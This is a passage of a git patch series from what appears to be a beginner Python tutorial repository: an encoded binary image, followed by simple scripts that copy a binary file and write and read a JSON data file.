z&o#K)mi&p;9`t_#l^km0)d5BAxSVjSy~CwEw;3c$kZ)UB^o=jA2p3FV@>NT|3SNbz zuRhkLyru$9L8?b0-#v5|qKgg;%1sQ0qz#v9Es)e@fGu#*^jaW0rEP^Rrlln`P*v## zi`c|Qr5->lsLT?ZSQldG+MFtl5OfoKd`E=w!YJG)9P)r_#+?DDHFgs9#at>{7tvV^ zJxweD?K0&wNC81oS}jW^;0WCcn8fZB!0#-(h%qS)rEJ!o5r%8<;cqYky(Q=bX?I|s zquU8>SQfqroU-+|4fb_J`h7@1`g8+W{-$A||e4Q*ap^x|7D z3e^uB11l;dA<3Q_0{M!d0h~frAPr*X6J!f%!<56gu@OMQq9-|c&9w{KJ0?{eLBRm_ z%5wtlE?THG>*1NrK@q$`x1w@5)?9k-#@a zOOWvmdT{hdxKeXUEg3|+J>0ICJWB{~%L>&YI}k1Tx-MA_UZmz$uvWyr`NN$8*)Z@S zeDiYOScNt;50!k(j<-X(TK@n9G1%x;eZ0hA+)G&Ij-8o!<1{PdgMuuP9Mc!sh*E8t zt-MygV%rGe4g8>+c@h{9GW#Pp>2X8zq3}a1wP%F=96?&EN`uyl*Tg#PB0<3QK@}N( ze37R7MleX0xHk_hszyLjXNo&wvqgm{1;|s{dbqfQNo?LS(Ev+_q0&t3CbvQsL$jZx`uSL6b#9?XJ z72yqkd5%Kt1w#lij0HddU>03ROgJvpYSGUr1Av|j;Z|DZzbBEL z62n;oR;@gk{4S`zYrFM1 z1!h+R*s9y7dIlqlK%hS|yf4#ZFC*y%Z!V=R;lN;cuENn}bW$y(@c{i{-10e0D$D%; z069wixK(ETXC;|h_N%dWdR*IcG~C57mTFCspw}WSl4*h&qiANWIr%yE7wtk% zKae}nhO}7jukx>9bw)1P>kzxs*m;_p?7&Mb zjuX$V3!9&L)FF_jS6)^xlha;gT_q>N?b?_A)viwouK9cp<6@}!zS`uj2V@K7@?Cy_ zsq0Om+x<&>MSV+|S|{p`MG0fqyn*PiragKx+t*xg(4Mm5ru%-E=JnQ(@rxZ(Pp7o= z0B#r9a}VP52!&olV?zG`=|>ry{{T~M1Hk&5PV}DluLA<=y1#+y`ijgAG6sC(e1b5S@%YQz@Ke5uWENY z5HRg@2GCLdkmF+wHLQY>5qx_ZNtR&4IgU^>ldyT#OGyzjZ6VcseF{!1`gDUEQjK*b zae)Y0%Uw+^iBUzS#9$hqfJu-}XgLE4ySfV(AJ`fqjP_J`nmsiL+U|!fb+(PE6>mQD zImU|UZL$*{W39hD0Y?S4HLn)?qxS3X%1`sOFjM}toa(Ek8FkqUlLW*7C+ z#4X9*@YoyG&dSGfmq$Ah5SKG8k&g|)xahuo&r~N(8??0xy-gD6D6BkuE1s>Pvv|t$^TZApAx$x&~$soim`;D2_4F1Uw<7=82VAxzV`d ztG+R!8n7SLHnFK~7@B~F3m5$KibAzWG5{-}hE8Ud%^_x5r5U@C{Eyf(TM5(np5PZ7 zI%{YbCCDj2>%$l`B%5f*hSFh_IAc z`I=O$nTUw;fAT!Ft?_GGDgVR(KoI}}0RjX92L%NN1P1^B000330{{^O5+N}`Q3Vqs zVR4bM6f#nQp(8?a!O;*EbAqzr1|%gjQ(}XX!qVdZ+5iXv0s#g;0ML)wqn`?~7ppM1 zG+rol;#YbqCn$T-g@3xNI9j`5$l9%tDB+rcGe)HHG(OZ@#)=~b7T{+I!c<^iApYu<_^1$pvMl3*Y}>}{b}m6o(Z&eOTcjPfW&xHa2{mqJvK(S+F>nn2ob4ujfK(`bAdU3#cDjP%#2W zMaF?W*2} zM*w#yp`5E8U|OtHiq)3=;)z#A9mEPH!jGY=w53Omm7W;JC~}Ta8_3ptKSScn@eLv` z=R{3|Y(2MW6p`jABVwc1e1T7`WwJ;{INQ8QqU7x?lfzxLjTS%|_S@ja$KR<7Sk zA@1sJ{{WR*Y($c2?tm0}H6E`DZhk3P4<#bHsX96XrJC|Nzt)4NN6w|2R2aF!59QBl zRg0t5a{LlF{Od93`=8>!>rD#c@px$1c7ie=sTZbbdRr39n*Fr~m2fzyCJLIXff@Q~ zO>T_}2F2z^@>Mif8-<=G_>vhTzk$0@dHOe{W<#+v%-5kT9T|&=oo;bOKdp^N37!RJ z7YO*N9MI3wF)8E`kLD>N7};c2U^C@au;z52-rFsRxGIW4qNk)K%s3eT0KHxD@8A#$ zDtblK_o~poKj)D@O8Z=Szcq~wHM&e(4ltpj8yy$`jp7uny)6c#{s;G~e)Pf<-v|Ey zRh!#zPJe_)qgFvS1#WjSy$M?rfOR7MlyT~6&4$CDn^U*$^lNe^kxUSwzHZFyx}Fq` z99S0228R+s^rV#_!(AM)3pqRZiUeTrx8geE{{XEdlf=vz-pUCB#*ec{Fo-sS;Z;j` z&{haZTeXO~gGh;oS#_`{v!{u$sU%*FXJB&W-sE!ULoY>SVZL&|n+igm91A;GfVsdU zy-j5HTs(3&1|(BIT&CwS?P)?XMS$Nm8;4~*^&D|~$8b$6EIIY<0HWf8Vj^UZo?Vph zMX<6lTMZ7?A^?(R;cb0I1}Y*MZoqKvy(hD=zI%NyO35siBT@}9>tA3sI#I+;IY@x} zRV`q|n`y{bv0!CLA&mqSUZhWf~^R4C`Rl_nZD zTuC|CD<0jga22@VI=7&$_Q1Bf@{F@sU-m&G`cIY zpugeTqmvJgSfe|P*}h|41xJjQQ6!QOg^ieBo>DgyqYBbU@apWw_PMb)sg`*xGLVMg z7AKv}Bn^o~4g$n}^IL627)0?QdlXQ_lSd50t8%2Ymp1a!)hyp;{ZJz==f=llMVdUQ z;^HC$E}V7Zc+hA?&UI|bW${osQ$rjPs>-&roh~5t?WF7eXEdy%!1hic#Y~{6-j6J0JdXI3|Vl| zq-Ro~l5fI{GDfnc?sUDa#??L^K97MUjR62AOQ|>9kSUiOpY+Rx$T^E%q?ZioDVKI< z4C*_#6fqNGGRZ2Ii4fU;vsP4j9g41S;=tBNbp_JwZ+o5s)hZ;BpxI+%bAIXp7pXV* zZ>2J?Xes#{@}>^j9Ri(2%`{JRL#AEDBFiUKQAfS8p&4SzE;a5p6zFn>Bv_icvA)KX zklSKhGN4ce3grIMli2~A`0R6)jIT>-x% zSfna4p}LMnu_NJ%;-r#Dm7Y94btG&}4JcChe#rHpZ^pm>!~iD|00IL6009I70R;g7 z000000|WsA1qJ{I5fT#=78MW|BQY~H|Jncu0RsU61pqE9Rq}w=Qpq)Ts_HPYGqqn* zF}k)iuak?Sdo6;rQv4zxDdSTmb@+`#Ts%pEa`M!cE5PZy8GI@7Zcdk$!dq9i>3Rsl z;B{OZd;vhaT++(cGJ)Ya8XAS#Cmy6%~hx9Wqnj$5_doBDMMFPX<{uDvsR6y>}`3*mOORFpTKyQ9%a zR6jvzHa+!P^HYCeVgpo^iXC>Q+}o_cPp-G_^nNz%wyiPMZq2`N){2X**&meab-qFE+KSV#SJ@8tICigdl1Ytm zJ4=~**t+=Rz51*`SNn^S8MiTwb?k;bd3=1!K(ewT!_C9@rhhXwlzAHXu4f`*6VuLq zwPTvf0VkQstY+~U8XgnVOlnjdR#^{kOmX}lrdc*Ey)-~HzYCQT))okAZ2n|d7Mll_ z*aTQ^rxaY-g|ec-A)&G=c&+t^oah3=a0 zN|m@xBkO)m5gTFBi&i_mwWnkxtiFCvas!WG#gNY=K&*mpR1y%si;OQ5NI zA+eTaWkGKq!4bf2ZE6v~Jxh|^1$?f%OVMtjTUNWlwXMDxAW9^fcR_0nhIAUZ+Gu67 z%9JaU!;|8{>KoZrWkKU@=}omdDRu1b`wXd$Nyelp%2@4<6;AlKyMfqkFr5FMY^c0X{v3XnF66%MidT^UsQiW%WzRDu)=N0ka#=nWY=Jrj=>T6w!u zw4uU@4)jQu@-(qSBFs=}k{}7D!(eb*C=P)_7H07@TNesNrSm$lG+0Wkmbqed6s+>2 z=HZlz(2wE6-6O0JNa8?7sx!n021Xveq({&Z(E2oZH8odBZ}V)3Pc{NO+qkudn_Wh``GqZtpDw1wU= zD{xJc?FWhzaZ334_9))Ycgj!MPz4MsqD+7rzSLa!D4-Jt+-wY%U&e}H@O%1(c99}g z@Zw0TjD8OdsMP^;^Lh=4?Wr*(cqlfZw2EBZ>*{e+*mc&5HX_691vJZxno`%(g}kUZ zW{?_*(J!;!U|b6hw=~kCEcl;v9aJA0D!9#>@5&OGZj5SG0ajP_0vJfJa-EWV(c zTt{l-C+!Aa5kjP2yHaSw*`1XiXF{L>Bc^E^$E8R4LlrE`%VgvQ_$dOuu53cwl2w_H zl>rB5c7`J6#73D^`qN1^3T!9`bTq$ktgL_mpt5H3Bvx68Q`J{6t30UVxomvuqgU*}|9PwzdBNe#g#$hYtWe!Njv4nu}HC`Z6Kr2Gso7Xq1-2jl_U?Rz}1E zqpg_GBRlE4YY#vw(!_*xWew{?XM@9L1O7332N1AE-9S;*<{ZYkv^FA%LJ#L~+wK1F%D5?E(*xpsAHdFp+_Ol@IlikI`G!WXDWx!6ZjM zm6m9h!+=#6~qZX z!jtQ2At9CR)F>5X!F=TY)s{Rg3*OgrTa1yL-*rD5(JeM$e^F>C3H&wr<=3ogYgdc; zYAVvf5$HfFXcogacnw?Fc~Jh9049uguzOYE#>Q>QTGVsmqEX($tZ|U{+UAQGrjP^4 zfU7TOI}WT=(VJtkVHn&lNxwirqOB5!2FCIcK&%J(mA!+_{{U&A&Dq3`=~}n@E=zYx z{{Yony_rA8R{M=Az6MzCeXXmTdDWxCv$ySBedd{4vFFh8#5Du?CmcK`{?tLjV0D=p~6AjPQ%-YYM20S$}iQI`f13;;#-xngP^9*Har2uhykM; zVsYNcz3}V!)?cUM{y1g+s$e7vMXjY?WlMm4gkklrVdrA>i_Knj2^qzVte zcHpcy&^A!sAAvOOGJvC)xTBjE(6xn$W34hlidL4zRNq!>Tu@ALT-Q6uZfY_EDvxP{ zojw*c)_El=MYDU_@uw3jWmLZ&`%!ryO{q2jiq5bmsx+XG#tWU)AaJmwip48SD>{I= zy78kJj`A<++QXo>mKB=hz4Sr@X705tuB{LmZEX~IigcM#;{atlHL;?|5TH@G1&R36 zLG)}hVT#@2lJ~giR>qPSjc~^$+4F@{egIywEV;I19Zg4vc>s2{Rq>!wRUjK3Yc?Qn z0sx~dYkLrWRrOHBK-T;XEu&1m0KGQVP3@(HsFzY4kWIxqt6W=8-P7+B@a5i8E#Ls6 zaW3<)URsbzxy&hcO6`Ag#8BN3sSBc9dDLQfcH|3(;8b^Ytl?Hm5n=byb@$EeID9BB zaEy3RZPc0UFMc1x=bWL`EJUj6jOP!Ki17UOOdnE=h0Tz3xYE+cZ+C9lGS zfeTyOZj>d>m}b#S0^p4nERr$$$6ca zdr@K+MCFfuS^!%b6|7M(r4)j^P*wVl_2+0tL=(klfYOG0JQ- zu=&zvR%Sl^ty!3czM_Ha=T{4;q{QLQ_c7L)A41GC14|TA5Q#m+vk(jWfVs33$ zCiKH7<63`$fOxQ|?0{~HB{y|im%(b}YjaQH)R!F1K3y#tBBFA4h}6<})s=_`{Qm&| E+4Rst3;+NC literal 0 HcmV?d00001 diff --git "a/ebook/pythonEbook/fileAndexception/\350\257\273\345\206\231\344\272\214\350\277\233\345\210\266\346\226\207\344\273\266.py" "b/ebook/pythonEbook/fileAndexception/\350\257\273\345\206\231\344\272\214\350\277\233\345\210\266\346\226\207\344\273\266.py" new file mode 100644 index 0000000..781ab99 --- /dev/null +++ "b/ebook/pythonEbook/fileAndexception/\350\257\273\345\206\231\344\272\214\350\277\233\345\210\266\346\226\207\344\273\266.py" @@ -0,0 +1,18 @@ +def main(): + try: + with open("a.png", "rb") as f: + pngA = f.read() + print(type(pngA)) + + with open("b.png", "wb") as f: + f.write(pngA) + except FileNotFoundError as e: + print(e) + print("没有找到对应的文件!") + except IOError as e: + print(e) + print("文件写入时错误") + + +if __name__ == '__main__': + main() -- Gitee From 954d7dd2a97ce5d91d5c109b14b4e499e8cb55eb Mon Sep 17 00:00:00 2001 From: gejin Date: Mon, 11 Sep 2023 22:12:38 +0800 Subject: [PATCH 18/19] =?UTF-8?q?python=20json=20=E6=95=B0=E6=8D=AE?= =?UTF-8?q?=E5=86=99=E5=85=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ebook/pythonEbook/fileAndexception/JSON.py | 29 ++++++++++++++++++++ ebook/pythonEbook/fileAndexception/data.json | 23 ++++++++++++++++ 2 files changed, 52 insertions(+) create mode 100644 ebook/pythonEbook/fileAndexception/JSON.py create mode 100644 ebook/pythonEbook/fileAndexception/data.json diff --git a/ebook/pythonEbook/fileAndexception/JSON.py b/ebook/pythonEbook/fileAndexception/JSON.py new file mode 100644 index 0000000..ea611c2 --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/JSON.py @@ -0,0 +1,29 @@ +import json + +""" +写入json 数据到json 文件中 +""" + + +def main(): + mydict = { + 'name': 'admin123', + 'age': 28, + 'qq': 403367632, + 'friends': ['dachui wang', 'yuanfang bai'], + 'cars': [ + {'brand': 'BYD', 'max_speed': 180}, + {'brand': 'Audi', 'max_speed': 280}, + {'brand': 'Benz', 'max_speed': 320} + ] + } + try: + with open('data.json', 'w', encoding='utf-8') as fs: + json.dump(mydict, fs) + except IOError as e: + print(e) + + +print('保存数据完成!') +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/fileAndexception/data.json b/ebook/pythonEbook/fileAndexception/data.json new file mode 100644 index 0000000..41e600e --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/data.json @@ -0,0 +1,23 @@ +{ + "name": "admin123", + "age": 28, + "qq": 403367632, + "friends": [ + "dachui wang", + "yuanfang bai" + ], + "cars": [ + { + "brand": "BYD", + "max_speed": 180 + }, + { + "brand": "Audi", + "max_speed": 280 + }, + { + "brand": "Benz", + "max_speed": 320 + } + ] +} \ No newline at end of file -- Gitee From 571971e74be1c8bc5250a973f208736179e6dc91 Mon Sep 17 00:00:00 2001 From: gejin Date: Mon, 11 Sep 2023 22:22:32 +0800 Subject: [PATCH 19/19] =?UTF-8?q?python=20json=20=E6=95=B0=E6=8D=AE?= =?UTF-8?q?=E8=AF=BB=E5=8F=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ebook/pythonEbook/fileAndexception/JSON.py | 32 ++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/ebook/pythonEbook/fileAndexception/JSON.py b/ebook/pythonEbook/fileAndexception/JSON.py index ea611c2..a4493d0 100644 --- a/ebook/pythonEbook/fileAndexception/JSON.py +++ b/ebook/pythonEbook/fileAndexception/JSON.py @@ -1,4 +1,5 @@ import json +import time """ 写入json 数据到json 文件中 @@ -25,5 +26,36 @@ def main(): print('保存数据完成!') + + +def readJson(): + try: + with open("data.json", "r", encoding="utf-8") as fs: + print(fs.read()) + except FileNotFoundError as e: + print(e) + print() + + try: + with open("data.json", "r", encoding="utf-8") as fs: + for line in fs: + print(line, end="") + time.sleep(0.5) + except FileNotFoundError as e: + print(e) + + print() + + try: + with open("data.json", "r", encoding="utf-8") as fs: + lines = fs.readlines() + print(lines) + except FileNotFoundError as e: + print(e) + + +print("文件读取完成") + if __name__ == '__main__': main() + readJson() -- Gitee